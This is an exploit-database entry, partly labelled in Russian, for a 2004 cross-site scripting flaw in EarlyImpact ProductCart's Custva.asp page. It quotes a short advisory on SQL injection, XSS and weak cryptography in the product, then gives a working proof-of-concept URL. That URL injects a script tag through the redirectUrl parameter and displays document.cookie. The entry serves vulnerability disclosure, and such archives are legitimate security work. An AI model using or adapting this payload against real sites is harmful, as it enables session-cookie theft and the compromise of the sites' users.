Exploit ProductCart 1.x/2.x - 'Custva.asp?redirectUrl' Cross-Site Scripting

[Exploiter]

EDB-ID

23704

Проверка EDB

1. Пройдено

Автор

NICK GUDOV

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

cve-2005-0994

Дата публикации

2004-02-16

source: https://www.securityfocus.com/bid/9669/info
  
EarlyImpact ProductCart is reportedly prone to multiple vulnerabilities. The specific issues include SQL injection, cross-site scripting and cryptographic weaknesses. These issues could expose sensitive data such as user credentials and allow for execution of hostile script code and HTML. These issues could allow for full compromise of the software.

http://www.example.com/productcart/pc/Custva.asp?redirectUrl="><script>alert(document.cookie)</script><"